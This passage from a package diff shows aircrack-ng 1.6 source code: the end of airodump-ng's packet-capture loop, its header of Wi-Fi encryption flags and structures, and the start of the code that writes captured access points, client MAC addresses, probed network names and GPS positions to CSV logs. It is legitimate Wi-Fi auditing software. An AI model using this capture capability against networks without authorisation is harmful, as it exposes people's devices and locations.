+				struct timeval pkt_tv;
+				pkt_tv.tv_sec = pkh.tv_sec;
+				pkt_tv.tv_usec = pkh.tv_usec;
+
+				const useconds_t usec_diff
+					= (useconds_t) time_diff(&prev_tv, &pkt_tv);
+
+				if (usec_diff > 0) usleep(usec_diff);
+			}
+			else if (read_pkts % 10 == 0)
+				usleep(1);
+
+			// track the packet's timestamp
+			prev_tv.tv_sec = pkh.tv_sec;
+			prev_tv.tv_usec = pkh.tv_usec;
+		}
+		else if (lopt.s_iface != NULL)
+		{
+			/* capture one packet */
+
+			FD_ZERO(&rfds);
+			for (i = 0; i < lopt.num_cards; i++)
+			{
+				FD_SET(fd_raw[i], &rfds); // NOLINT(hicpp-signed-bitwise)
+			}
+
+			tv0.tv_sec = lopt.update_s;
+			tv0.tv_usec = (lopt.update_s == 0) ? REFRESH_RATE : 0;
+
+			gettimeofday(&tv1, NULL);
+
+			if (select(fdh + 1, &rfds, NULL, NULL, &tv0) < 0)
+			{
+				if (errno == EINTR)
+				{
+					gettimeofday(&tv2, NULL);
+
+					time_slept += 1000000UL * (tv2.tv_sec - tv1.tv_sec)
+								  + (tv2.tv_usec - tv1.tv_usec);
+
+					continue;
+				}
+				perror("select failed");
+
+				/* Restore terminal */
+				show_cursor();
+
+				return (EXIT_FAILURE);
+			}
+		}
+		else
+			usleep(1);
+
+		gettimeofday(&tv2, NULL);
+
+		time_slept += 1000000UL * (tv2.tv_sec - tv1.tv_sec)
+					  + (tv2.tv_usec - tv1.tv_usec);
+
+		if (time_slept > REFRESH_RATE && time_slept > lopt.update_s * 1000000)
+		{
+			time_slept = 0;
+
+			update_dataps();
+
+			/* update the window size */
+
+			if (ioctl(0, TIOCGWINSZ, &(lopt.ws)) < 0)
+			{
+				lopt.ws.ws_row = 25;
+				lopt.ws.ws_col = 80;
+			}
+
+			/* display the list of access points we have */
+
+			if (!lopt.do_pause && !lopt.background_mode)
+			{
+				ALLEGE(pthread_mutex_lock(&(lopt.mx_print)) == 0);
+
+				dump_print(lopt.ws.ws_row, lopt.ws.ws_col, lopt.num_cards);
+
+				ALLEGE(pthread_mutex_unlock(&(lopt.mx_print)) == 0);
+			}
+			continue;
+		}
+
+		if (opt.s_file == NULL && lopt.s_iface != NULL)
+		{
+			for (i = 0; i < lopt.num_cards; i++)
+			{
+				if (FD_ISSET(fd_raw[i], &rfds)) // NOLINT(hicpp-signed-bitwise)
+				{
+
+					memset(buffer, 0, sizeof(buffer));
+					h80211 = buffer;
+					if ((caplen = wi_read(
+							 wi[i], NULL, NULL, h80211, sizeof(buffer), &ri))
+						== -1)
+					{
+						wi_read_failed++;
+						if (wi_read_failed > 1)
+						{
+							lopt.do_exit = 1;
+							break;
+						}
+						memset(lopt.message, '\x00', sizeof(lopt.message));
+						snprintf(lopt.message,
+								 sizeof(lopt.message),
+								 "][ interface %s down ",
+								 wi_get_ifname(wi[i]));
+
+						// reopen in monitor mode
+
+						strncpy(ifnam, wi_get_ifname(wi[i]), sizeof(ifnam) - 1);
+						ifnam[sizeof(ifnam) - 1] = 0;
+
+						wi_close(wi[i]);
+						wi[i] = wi_open(ifnam);
+						if (!wi[i])
+						{
+							printf("Can't reopen %s\n", ifnam);
+
+							/* Restore terminal */
+							show_cursor();
+
+							exit(EXIT_FAILURE);
+						}
+
+						fd_raw[i] = wi_fd(wi[i]);
+						if (fd_raw[i] > fdh) fdh = fd_raw[i];
+
+						break;
+					}
+
+					read_pkts++;
+
+					wi_read_failed = 0;
+					dump_add_packet(h80211, caplen, &ri, i);
+				}
+			}
+		}
+		else if (opt.s_file != NULL)
+		{
+			dump_add_packet(h80211, caplen, &ri, i);
+		}
+
+		if (quitting && time(NULL) - quitting_event_ts > 3)
+		{
+			quitting_event_ts = 0;
+			quitting = 0;
+			snprintf(lopt.message, sizeof(lopt.message), "]");
+		}
+	}
+
+	if (lopt.batt) free(lopt.batt);
+
+	if (lopt.elapsed_time) free(lopt.elapsed_time);
+
+	if (lopt.own_channels) free(lopt.own_channels);
+
+	if (lopt.f_essid) free(lopt.f_essid);
+
+	if (opt.prefix) free(opt.prefix);
+
+	if (opt.f_cap_name) free(opt.f_cap_name);
+
+	if (lopt.keyout) free(lopt.keyout);
+
+#ifdef HAVE_PCRE
+	if (lopt.f_essid_regex) pcre_free(lopt.f_essid_regex);
+#endif
+
+	for (i = 0; i < lopt.num_cards; i++) wi_close(wi[i]);
+
+	if (opt.record_data)
+	{
+		if (opt.output_format_csv)
+			dump_write_csv(lopt.ap_1st, lopt.st_1st, lopt.f_encrypt);
+		if (opt.output_format_kismet_csv)
+			dump_write_kismet_csv(lopt.ap_1st, lopt.st_1st, lopt.f_encrypt);
+		if (opt.output_format_kismet_netxml)
+			dump_write_kismet_netxml(lopt.ap_1st,
+									 lopt.st_1st,
+									 lopt.f_encrypt,
+									 lopt.airodump_start_time);
+
+		if (opt.output_format_csv && opt.f_txt != NULL) fclose(opt.f_txt);
+		if (opt.output_format_kismet_csv && opt.f_kis != NULL)
+			fclose(opt.f_kis);
+		if (opt.output_format_kismet_netxml && opt.f_kis_xml != NULL)
+		{
+			fclose(opt.f_kis_xml);
+			free(lopt.airodump_start_time);
+		}
+		if (opt.f_gps != NULL) fclose(opt.f_gps);
+		if (opt.output_format_pcap && opt.f_cap != NULL) fclose(opt.f_cap);
+		if (opt.f_ivs != NULL) fclose(opt.f_ivs);
+		if (opt.f_logcsv != NULL) fclose(opt.f_logcsv);
+	}
+
+	if (!lopt.save_gps)
+	{
+		snprintf((char *) buffer, 4096, "%s-%02d.gps", argv[2], opt.f_index);
+		unlink((char *) buffer);
+	}
+
+	if (opt.usegpsd)
+	{
+		void * retval = NULL;
+		pthread_join(lopt.gps_tid, &retval);
+		if (retval != NULL) free(retval);
+	}
+
+	if (!lopt.background_mode)
+	{
+		pthread_join(lopt.input_tid, NULL);
+	}
+
+	ap_cur = lopt.ap_1st;
+
+	while (ap_cur != NULL)
+	{
+		// Clean content of ap_cur list (first element: lopt.ap_1st)
+		uniqueiv_wipe(ap_cur->uiv_root);
+
+		list_tail_free(&(ap_cur->packets));
+
+		if (lopt.manufList) free(ap_cur->manuf);
+
+		if (lopt.detect_anomaly) data_wipe(ap_cur->data_root);
+
+		ap_cur = ap_cur->next;
+	}
+
+	ap_cur = lopt.ap_1st;
+
+	while (ap_cur != NULL)
+	{
+		// Freeing AP List
+		ap_next = ap_cur->next;
+		free(ap_cur);
+		ap_cur = ap_next;
+	}
+
+	st_cur = lopt.st_1st;
+
+	while (st_cur != NULL)
+	{
+		st_next = st_cur->next;
+		if (lopt.manufList) free(st_cur->manuf);
+		free(st_cur);
+		st_cur = st_next;
+	}
+
+	na_cur = lopt.na_1st;
+
+	while (na_cur != NULL)
+	{
+		na_next = na_cur->next;
+		free(na_cur);
+		na_cur = na_next;
+	}
+
+	if (lopt.manufList)
+	{
+		oui_cur = lopt.manufList;
+		while (oui_cur != NULL)
+		{
+			oui_next = oui_cur->next;
+			free(oui_cur);
+			oui_cur = oui_next;
+		}
+	}
+
+	reset_term();
+	show_cursor();
+
+	return (EXIT_SUCCESS);
+}

aircrack-ng-1.6.tar.gz/src/airodump-ng/airodump-ng.h Added

@@ -0,0 +1,161 @@
+/*
+ *
+ * This program is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU General Public License as
+ * published by the Free Software Foundation; either version 2 of the
+ * License, or (at your option) any later version.
+ *
+ * This program is distributed in the hope that it will be useful, but
+ * is provided AS IS, WITHOUT ANY WARRANTY; without even the implied
+ * warranty of MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, and
+ * NON-INFRINGEMENT.  See the GNU General Public License for more details.
+ *
+ * You should have received a copy of the GNU General Public License
+ * along with this program; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin St, Fifth Floor, Boston,
+ * MA 02110-1301, USA.
+ *
+ * In addition, as a special exception, the copyright holders give
+ * permission to link the code of portions of this program with the
+ * OpenSSL library under certain conditions as described in each
+ * individual source file, and distribute linked combinations
+ * including the two.
+ * You must obey the GNU General Public License in all respects
+ * for all of the code used other than OpenSSL.  If you modify
+ * file(s) with this exception, you may extend this exception to your
+ * version of the file(s), but you are not obligated to do so.  If you
+ * do not wish to do so, delete this exception statement from your
+ * version.  If you delete this exception statement from all source
+ * files in the program, then also delete it here.
+ */
+
+#ifndef _AIRODUMP_NG_H_
+#define _AIRODUMP_NG_H_
+
+#include <sys/ioctl.h>
+#if !defined(TIOCGWINSZ) && !defined(linux)
+#include <sys/termios.h>
+#endif
+
+#include "aircrack-ng/third-party/eapol.h"
+#include "aircrack-ng/support/pcap_local.h"
+
+/* some constants */
+
+#define REFRESH_RATE 100000 /* default delay in us between updates */
+#define DEFAULT_HOPFREQ 250 /* default delay in ms between channel hopping */
+#define DEFAULT_CWIDTH 20 /* 20 MHz channels by default */
+
+#define NB_PRB 10 /* size of probed ESSID ring buffer */
+
+#define MAX_CARDS 8 /* maximum number of cards to capture from */
+
+#define STD_OPN 0x0001u
+#define STD_WEP 0x0002u
+#define STD_WPA 0x0004u
+#define STD_WPA2 0x0008u
+
+#define STD_FIELD (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)
+
+#define ENC_WEP 0x0010u
+#define ENC_TKIP 0x0020u
+#define ENC_WRAP 0x0040u
+#define ENC_CCMP 0x0080u
+#define ENC_WEP40 0x1000u
+#define ENC_WEP104 0x0100u
+#define ENC_GCMP 0x4000u
+#define ENC_GMAC 0x8000u
+
+#define ENC_FIELD                                                              \
+	(ENC_WEP | ENC_TKIP | ENC_WRAP | ENC_CCMP | ENC_WEP40 | ENC_WEP104         \
+	 | ENC_GCMP                                                                \
+	 | ENC_GMAC)
+
+#define AUTH_OPN 0x0200u
+#define AUTH_PSK 0x0400u
+#define AUTH_MGT 0x0800u
+#define AUTH_CMAC 0x10000u
+#define AUTH_SAE 0x20000u
+#define AUTH_OWE 0x40000u
+
+#define AUTH_FIELD                                                             \
+	(AUTH_OPN | AUTH_PSK | AUTH_CMAC | AUTH_MGT | AUTH_SAE | AUTH_OWE)
+
+#define STD_QOS 0x2000u
+
+#define QLT_TIME 5
+#define QLT_COUNT 25
+
+#define SORT_BY_NOTHING 0
+#define SORT_BY_BSSID 1
+#define SORT_BY_POWER 2
+#define SORT_BY_BEACON 3
+#define SORT_BY_DATA 4
+#define SORT_BY_PRATE 5
+#define SORT_BY_CHAN 6
+#define SORT_BY_MBIT 7
+#define SORT_BY_ENC 8
+#define SORT_BY_CIPHER 9
+#define SORT_BY_AUTH 10
+#define SORT_BY_ESSID 11
+#define MAX_SORT 11
+
+#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
+
+#define PROBE_REQ                                                              \
+	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
+	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
+
+// milliseconds to store last packets
+#define BUFFER_TIME 3000
+
+extern int get_ram_size(void);
+
+extern const unsigned long int crc_tbl[256];
+extern const unsigned char crc_chop_tbl[256][4];
+
+#define MIN_RAM_SIZE_LOAD_OUI_RAM 32768
+
+/* linked list of received packets for the last few seconds */
+struct pkt_buf
+{
+	struct pkt_buf * next; /* next packet in list */
+	unsigned char * packet; /* packet */
+	unsigned short length; /* packet length */
+	struct timeval ctime; /* capture time */
+};
+
+/* oui struct for list management */
+struct oui
+{
+	char id[9]; /* TODO: Don't use ASCII chars to compare, use unsigned char[3]
+				   (later) with the value (hex ascii will have to be converted)
+				   */
+	char
+		manuf[128]; /* TODO: Switch to a char * later to improve memory usage */
+	struct oui * next;
+};
+
+#include "aircrack-ng/support/station.h"
+
+/* linked list of detected macs through ack, cts or rts frames */
+
+struct NA_info
+{
+	struct NA_info * prev; /* the prev client in list   */
+	struct NA_info * next; /* the next client in list   */
+	time_t tinit, tlast; /* first and last time seen  */
+	unsigned char namac[6]; /* the stations MAC address  */
+	int power; /* last signal power         */
+	int channel; /* captured on channel       */
+	int ack; /* number of ACK frames      */
+	int ack_old; /* old number of ACK frames  */
+	int ackps; /* number of ACK frames/s    */
+	int cts; /* number of CTS frames      */
+	int rts_r; /* number of RTS frames (rx) */
+	int rts_t; /* number of RTS frames (tx) */
+	int other; /* number of other frames    */
+	struct timeval tv; /* time for ack per second   */
+};
+
+#endif

aircrack-ng-1.6.tar.gz/src/airodump-ng/dump_write.c Added

@@ -0,0 +1,1587 @@
+/*
+ *  Airodump-ng text files output
+ *
+ *  Copyright (C) 2018-2020 Thomas d'Otreppe <tdotreppe@aircrack-ng.org>
+ *
+ *  This program is free software; you can redistribute it and/or modify
+ *  it under the terms of the GNU General Public License as published by
+ *  the Free Software Foundation; either version 2 of the License, or
+ *  (at your option) any later version.
+ *
+ *  This program is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+ *  GNU General Public License for more details.
+ *
+ *  You should have received a copy of the GNU General Public License
+ *  along with this program; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
+ *
+ *
+ *  In addition, as a special exception, the copyright holders give
+ *  permission to link the code of portions of this program with the
+ *  OpenSSL library under certain conditions as described in each
+ *  individual source file, and distribute linked combinations
+ *  including the two.
+ *  You must obey the GNU General Public License in all respects
+ *  for all of the code used other than OpenSSL. *  If you modify
+ *  file(s) with this exception, you may extend this exception to your
+ *  version of the file(s), but you are not obligated to do so. *  If you
+ *  do not wish to do so, delete this exception statement from your
+ *  version. *  If you delete this exception statement from all source
+ *  files in the program, then also delete it here.
+ */
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+#include <stdio.h>
+#include <time.h>
+#include <limits.h>
+#include <string.h>
+#include <stdlib.h>
+#include <ctype.h>
+#include <unistd.h> // ftruncate
+#include <sys/types.h> // ftruncate
+#include <sys/time.h>
+#ifdef HAVE_PCRE
+#include <pcre.h>
+#endif
+
+#include "aircrack-ng/defs.h"
+#include "airodump-ng.h"
+#include "aircrack-ng/support/communications.h"
+#include "dump_write.h"
+#include "aircrack-ng/crypto/crypto.h"
+#include "aircrack-ng/utf8/verifyssid.h"
+
+extern struct communication_options opt;
+
+extern int getFrequencyFromChannel(int channel); // "aircrack-osdep/common.h"
+
+extern int is_filtered_essid(unsigned char * essid); // airodump-ng.c
+
+static char * format_text_for_csv(const unsigned char * input, size_t len)
+{
+	// Unix style encoding
+	char *ret, *rret;
+	size_t i, pos;
+	int contains_space_end;
+	const char * hex_table = "0123456789ABCDEF";
+
+	if (len == 0 || input == NULL)
+	{
+		ret = (char *) malloc(1);
+		ALLEGE(ret != NULL);
+		ret[0] = 0;
+		return (ret);
+	}
+
+	pos = 0;
+	contains_space_end = (input[0] == ' ') || input[len - 1] == ' ';
+
+	// Make sure to have enough memory for all that stuff
+	ret = (char *) malloc((len * 4) + 1 + 2);
+	ALLEGE(ret != NULL);
+
+	if (contains_space_end)
+	{
+		ret[pos++] = '"';
+	}
+
+	for (i = 0; i < len; i++)
+	{
+		if (!isprint(input[i]) || input[i] == ',' || input[i] == '\\'
+			|| input[i] == '"')
+		{
+			ret[pos++] = '\\';
+		}
+
+		if (isprint(input[i]))
+		{
+			ret[pos++] = input[i];
+		}
+		else if (input[i] == '\n' || input[i] == '\r' || input[i] == '\t')
+		{
+			ret[pos++]
+				= (char) ((input[i] == '\n') ? 'n' : (input[i] == '\t') ? 't'
+																		: 'r');
+		}
+		else
+		{
+			ret[pos++] = 'x';
+			ret[pos++] = hex_table[input[i] / 16];
+			ret[pos++] = hex_table[input[i] % 16];
+		}
+	}
+
+	if (contains_space_end)
+	{
+		ret[pos++] = '"';
+	}
+
+	ret[pos++] = '\0';
+
+	rret = realloc(ret, pos);
+
+	return (rret) ? (rret) : (ret);
+}
+
+int dump_write_csv(struct AP_info * ap_1st,
+				   struct ST_info * st_1st,
+				   unsigned int f_encrypt)
+{
+	int i, probes_written;
+	struct tm * ltime;
+	struct AP_info * ap_cur;
+	struct ST_info * st_cur;
+	char * temp;
+
+	if (!opt.record_data || !opt.output_format_csv) return (0);
+
+	fseek(opt.f_txt, 0, SEEK_SET);
+
+	fprintf(opt.f_txt,
+			"\r\nBSSID, First time seen, Last time seen, channel, Speed, "
+			"Privacy, Cipher, Authentication, Power, # beacons, # IV, LAN IP, "
+			"ID-length, ESSID, Key\r\n");
+
+	ap_cur = ap_1st;
+
+	while (ap_cur != NULL)
+	{
+		if (memcmp(ap_cur->bssid, BROADCAST, 6) == 0)
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		if (ap_cur->security != 0 && f_encrypt != 0
+			&& ((ap_cur->security & f_encrypt) == 0))
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		if (is_filtered_essid(ap_cur->essid))
+		{
+			ap_cur = ap_cur->next;
+			continue;
+		}
+
+		fprintf(opt.f_txt,
+				"%02X:%02X:%02X:%02X:%02X:%02X, ",
+				ap_cur->bssid[0],
+				ap_cur->bssid[1],
+				ap_cur->bssid[2],
+				ap_cur->bssid[3],
+				ap_cur->bssid[4],
+				ap_cur->bssid[5]);
+
+		ltime = localtime(&ap_cur->tinit);
+
+		fprintf(opt.f_txt,
+				"%04d-%02d-%02d %02d:%02d:%02d, ",
+				1900 + ltime->tm_year,
+				1 + ltime->tm_mon,
+				ltime->tm_mday,
+				ltime->tm_hour,
+				ltime->tm_min,
+				ltime->tm_sec);
+
+		ltime = localtime(&ap_cur->tlast);
+
+		fprintf(opt.f_txt,
+				"%04d-%02d-%02d %02d:%02d:%02d, ",
+				1900 + ltime->tm_year,
+				1 + ltime->tm_mon,
+				ltime->tm_mday,
+				ltime->tm_hour,
+				ltime->tm_min,
+				ltime->tm_sec);
+
+		fprintf(opt.f_txt, "%2d, %3d,", ap_cur->channel, ap_cur->max_speed);
+
+		if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)) == 0)
+			fprintf(opt.f_txt, " ");
+		else
+		{
+			if (ap_cur->security & STD_WPA2)
+			{
+				if (ap_cur->security & AUTH_SAE || ap_cur->security & AUTH_OWE)
+					fprintf(opt.f_txt, " WPA3");
+				fprintf(opt.f_txt, " WPA2");
+			}
+			if (ap_cur->security & STD_WPA) fprintf(opt.f_txt, " WPA");
+			if (ap_cur->security & STD_WEP) fprintf(opt.f_txt, " WEP");
+			if (ap_cur->security & STD_OPN) fprintf(opt.f_txt, " OPN");
+		}
+
+		fprintf(opt.f_txt, ",");
+
+		if ((ap_cur->security & ENC_FIELD) == 0)
+			fprintf(opt.f_txt, " ");
+		else
+		{
+			if (ap_cur->security & ENC_CCMP) fprintf(opt.f_txt, " CCMP");
+			if (ap_cur->security & ENC_WRAP) fprintf(opt.f_txt, " WRAP");
+			if (ap_cur->security & ENC_TKIP) fprintf(opt.f_txt, " TKIP");
+			if (ap_cur->security & ENC_WEP104) fprintf(opt.f_txt, " WEP104");
+			if (ap_cur->security & ENC_WEP40) fprintf(opt.f_txt, " WEP40");
+			if (ap_cur->security & ENC_WEP) fprintf(opt.f_txt, " WEP");
+			if (ap_cur->security & ENC_GCMP) fprintf(opt.f_txt, " GCMP");
+			if (ap_cur->security & ENC_GMAC) fprintf(opt.f_txt, " GMAC");
+		}
+
+		fprintf(opt.f_txt, ",");
+
+		if ((ap_cur->security & AUTH_FIELD) == 0)
+			fprintf(opt.f_txt, "   ");
+		else
+		{
+			if (ap_cur->security & AUTH_SAE) fprintf(opt.f_txt, " SAE");
+			if (ap_cur->security & AUTH_MGT) fprintf(opt.f_txt, " MGT");
+			if (ap_cur->security & AUTH_CMAC) fprintf(opt.f_txt, " CMAC");
+			if (ap_cur->security & AUTH_PSK)
+			{
+				if (ap_cur->security & STD_WEP)
+					fprintf(opt.f_txt, " SKA");
+				else
+					fprintf(opt.f_txt, " PSK");
+			}
+			if (ap_cur->security & AUTH_OWE) fprintf(opt.f_txt, " OWE");
+			if (ap_cur->security & AUTH_OPN) fprintf(opt.f_txt, " OPN");
+		}
+
+		fprintf(opt.f_txt,
+				", %3d, %8lu, %8lu, ",
+				ap_cur->avg_power,
+				ap_cur->nb_bcn,
+				ap_cur->nb_data);
+
+		fprintf(opt.f_txt,
+				"%3d.%3d.%3d.%3d, ",
+				ap_cur->lanip[0],
+				ap_cur->lanip[1],
+				ap_cur->lanip[2],
+				ap_cur->lanip[3]);
+
+		fprintf(opt.f_txt, "%3d, ", ap_cur->ssid_length);
+
+		if (verifyssid(ap_cur->essid))
+			fprintf(opt.f_txt, "%s, ", ap_cur->essid);
+		else
+		{
+			temp = format_text_for_csv(ap_cur->essid,
+									   (size_t) ap_cur->ssid_length);
+			if (temp != NULL) //-V547
+			{
+				fprintf(opt.f_txt, "%s, ", temp);
+				free(temp);
+			}
+		}
+
+		if (ap_cur->key != NULL)
+		{
+			for (i = 0; i < (int) strlen(ap_cur->key); i++)
+			{
+				fprintf(opt.f_txt, "%02X", ap_cur->key[i]);
+				if (i < (int) (strlen(ap_cur->key) - 1))
+					fprintf(opt.f_txt, ":");
+			}
+		}
+
+		fprintf(opt.f_txt, "\r\n");
+
+		ap_cur = ap_cur->next;
+	}
+
+	fprintf(opt.f_txt,
+			"\r\nStation MAC, First time seen, Last time seen, "
+			"Power, # packets, BSSID, Probed ESSIDs\r\n");
+
+	st_cur = st_1st;
+
+	while (st_cur != NULL)
+	{
+		ap_cur = st_cur->base;
+
+		if (ap_cur->nb_pkt < 2)
+		{
+			st_cur = st_cur->next;
+			continue;
+		}
+
+		fprintf(opt.f_txt,
+				"%02X:%02X:%02X:%02X:%02X:%02X, ",
+				st_cur->stmac[0],
+				st_cur->stmac[1],
+				st_cur->stmac[2],
+				st_cur->stmac[3],
+				st_cur->stmac[4],
+				st_cur->stmac[5]);
+
+		ltime = localtime(&st_cur->tinit);
+
+		fprintf(opt.f_txt,
+				"%04d-%02d-%02d %02d:%02d:%02d, ",
+				1900 + ltime->tm_year,
+				1 + ltime->tm_mon,
+				ltime->tm_mday,
+				ltime->tm_hour,
+				ltime->tm_min,
+				ltime->tm_sec);
+
+		ltime = localtime(&st_cur->tlast);
+
+		fprintf(opt.f_txt,
+				"%04d-%02d-%02d %02d:%02d:%02d, ",
+				1900 + ltime->tm_year,
+				1 + ltime->tm_mon,
+				ltime->tm_mday,
+				ltime->tm_hour,
+				ltime->tm_min,
+				ltime->tm_sec);
+
+		fprintf(opt.f_txt, "%3d, %8lu, ", st_cur->power, st_cur->nb_pkt);
+
+		if (!memcmp(ap_cur->bssid, BROADCAST, 6))
+			fprintf(opt.f_txt, "(not associated) ,");
+		else
+			fprintf(opt.f_txt,
+					"%02X:%02X:%02X:%02X:%02X:%02X,",
+					ap_cur->bssid[0],
+					ap_cur->bssid[1],
+					ap_cur->bssid[2],
+					ap_cur->bssid[3],
+					ap_cur->bssid[4],
+					ap_cur->bssid[5]);
+
+		probes_written = 0;
+		for (i = 0; i < NB_PRB; i++)
+		{
+			if (st_cur->ssid_length[i] == 0) continue;
+
+			if (verifyssid((const unsigned char *) st_cur->probes[i]))
+			{
+				temp = (char *) calloc(
+					1, (st_cur->ssid_length[i] + 1) * sizeof(char));
+				ALLEGE(temp != NULL);
+				memcpy(temp, st_cur->probes[i], st_cur->ssid_length[i] + 1u);
+			}
+			else
+			{
+				temp = format_text_for_csv((unsigned char *) st_cur->probes[i],
+										   (size_t) st_cur->ssid_length[i]);
+				ALLEGE(temp != NULL); //-V547
+			}
+
+			if (probes_written == 0)
+			{
+				fprintf(opt.f_txt, "%s", temp);
+				probes_written = 1;
+			}
+			else
+			{
+				fprintf(opt.f_txt, ",%s", temp);
+			}
+
+			free(temp);
+		}
+
+		fprintf(opt.f_txt, "\r\n");
+
+		st_cur = st_cur->next;
+	}
+
+	fprintf(opt.f_txt, "\r\n");
+	fflush(opt.f_txt);
+
+	return (0);
+}
+
+int dump_write_airodump_ng_logcsv_add_ap(const struct AP_info * ap_cur,
+										 const int32_t ri_power,
+										 struct tm * tm_gpstime,
+										 float * gps_loc)
+{
+	if (ap_cur == NULL || !opt.output_format_log_csv || !opt.f_logcsv)
+	{
+		return (0);
+	}
+
+	// Local computer time
+	const struct tm * ltime = localtime(&ap_cur->tlast);
+	fprintf(opt.f_logcsv,
+			"%04d-%02d-%02d %02d:%02d:%02d,",
+			1900 + ltime->tm_year,
+			1 + ltime->tm_mon,
+			ltime->tm_mday,
+			ltime->tm_hour,
+			ltime->tm_min,
+			ltime->tm_sec);
+
+	// Gps time
+	fprintf(opt.f_logcsv,
+			"%04d-%02d-%02d %02d:%02d:%02d,",
+			1900 + tm_gpstime->tm_year,
+			1 + tm_gpstime->tm_mon,
+			tm_gpstime->tm_mday,
+			tm_gpstime->tm_hour,
+			tm_gpstime->tm_min,
+			tm_gpstime->tm_sec);
+
+	// ESSID
+	fprintf(opt.f_logcsv, "%s,", ap_cur->essid);
+
+	// BSSID
+	fprintf(opt.f_logcsv,
+			"%02X:%02X:%02X:%02X:%02X:%02X,",
+			ap_cur->bssid[0],
+			ap_cur->bssid[1],
+			ap_cur->bssid[2],
+			ap_cur->bssid[3],
+			ap_cur->bssid[4],
+			ap_cur->bssid[5]);
+
+	// RSSI
+	fprintf(opt.f_logcsv, "%d,", ri_power);
+
+	// Network Security
+	if ((ap_cur->security & (STD_OPN | STD_WEP | STD_WPA | STD_WPA2)) == 0)
+		fputs(" ", opt.f_logcsv);
+	else
+	{
+		if (ap_cur->security & STD_WPA2) fputs(" WPA2 ", opt.f_logcsv);
+		if (ap_cur->security & STD_WPA) fputs(" WPA ", opt.f_logcsv);
+		if (ap_cur->security & STD_WEP) fputs(" WEP ", opt.f_logcsv);
+		if (ap_cur->security & STD_OPN) fputs(" OPN", opt.f_logcsv);
+	}
+
+	fputs(",", opt.f_logcsv);
+
+	// Lat, Lon, Lat Error, Lon Error
+	fprintf(opt.f_logcsv,
+			"%.6f,%.6f,%.3f,%.3f,AP\r\n",
+			gps_loc[0],
+			gps_loc[1],
+			gps_loc[5],
+			gps_loc[6]);
+
+	return (0);
+}
+
+int dump_write_airodump_ng_logcsv_add_client(const struct AP_info * ap_cur,
+											 const struct ST_info * st_cur,
+											 const int32_t ri_power,
+											 struct tm * tm_gpstime,
+											 float * gps_loc)
+{
+	if (st_cur == NULL || !opt.output_format_log_csv || !opt.f_logcsv)
+	{
+		return (0);
+	}
+
+	// Local computer time
+	struct tm * ltime = localtime(&ap_cur->tlast);
+	fprintf(opt.f_logcsv,
+			"%04d-%02d-%02d %02d:%02d:%02d,",
+			1900 + ltime->tm_year,
+			1 + ltime->tm_mon,
+			ltime->tm_mday,
+			ltime->tm_hour,
+			ltime->tm_min,
+			ltime->tm_sec);
+
+	// GPS time
+	fprintf(opt.f_logcsv,
+			"%04d-%02d-%02d %02d:%02d:%02d,",
+			1900 + tm_gpstime->tm_year,
+			1 + tm_gpstime->tm_mon,
+			tm_gpstime->tm_mday,
+			tm_gpstime->tm_hour,
+			tm_gpstime->tm_min,
+			tm_gpstime->tm_sec);
+
+	// Client => No ESSID
+	fprintf(opt.f_logcsv, ",");
+
+	// BSSID
+	fprintf(opt.f_logcsv,
+			"%02X:%02X:%02X:%02X:%02X:%02X,",
+			st_cur->stmac[0],
+			st_cur->stmac[1],
+			st_cur->stmac[2],
+			st_cur->stmac[3],
+			st_cur->stmac[4],
+			st_cur->stmac[5]);
+
+	// RSSI
+	fprintf(opt.f_logcsv, "%d,", ri_power);
+
+	// Client => Network Security: none
+	fprintf(opt.f_logcsv, ",");
+
+	// Lat, Lon, Lat Error, Lon Errorst_cur->power
+	fprintf(opt.f_logcsv,
+			"%.6f,%.6f,%.3f,%.3f,",
+			gps_loc[0],
+			gps_loc[1],
+			gps_loc[5],
+			gps_loc[6]);
+
+	// Type
+	fprintf(opt.f_logcsv, "Client\r\n");
+
+	return (0);
+}
+
+static char * sanitize_xml(unsigned char * text, size_t length)
+{
+	size_t i;
+	size_t len, current_text_len;
+	unsigned char * pos;
+	char * newtext = NULL;
+	if (text != NULL && length > 0)
+	{
+		len = 8 * length;
+		newtext = (char *) calloc(
+			1, (len + 1) * sizeof(char)); // Make sure we have enough space
+		ALLEGE(newtext != NULL);
+		pos = text;
+		for (i = 0; i < length; ++i, ++pos)
+		{
+			switch (*pos)
+			{
+				case '&':
+					strncat(newtext, "&amp;", len);
+					break;
+				case '<':
+					strncat(newtext, "&lt;", len);
+					break;
+				case '>':
+					strncat(newtext, "&gt;", len);
+					break;
+				case '\'':
+					strncat(newtext, "&apos;", len);
+					break;
+				case '"':
+					strncat(newtext, "&quot;", len);
+					break;
+				case '\r':
+					strncat(newtext, "&#xD;", len);
+					break;
+				case '\n':
+					strncat(newtext, "&#xA;", len);
+					break;
+				default:
+					if (isprint((int) (*pos)))
+					{
+						newtext[strlen(newtext)] = *pos;
+					}
+					else
+					{
+						strncat(newtext, "&#x", len);
+						current_text_len = strlen(newtext);
+						snprintf(newtext + current_text_len,
+								 len - current_text_len + 1,
+								 "%04x",
+								 *pos);
+						strncat(newtext, ";", len);
+					}
+					break;
+			}
+		}
+		char * tmp_newtext = (char *) realloc(newtext, strlen(newtext) + 1);
+		ALLEGE(tmp_newtext != NULL);
+		newtext = tmp_newtext;
+	}
+
+	return (newtext);
+}
+
+char * get_manufacturer_from_string(char * buffer)
+{
+	char * manuf = NULL;
+	char * buffer_manuf;
+	if (buffer != NULL && strlen(buffer) > 0)
+	{
+		buffer_manuf = strstr(buffer, "(hex)");
+		if (buffer_manuf != NULL)
+		{
+			buffer_manuf += 6; // skip '(hex)' and one more character (there's
+			// at least one 'space' character after that
+			// string)
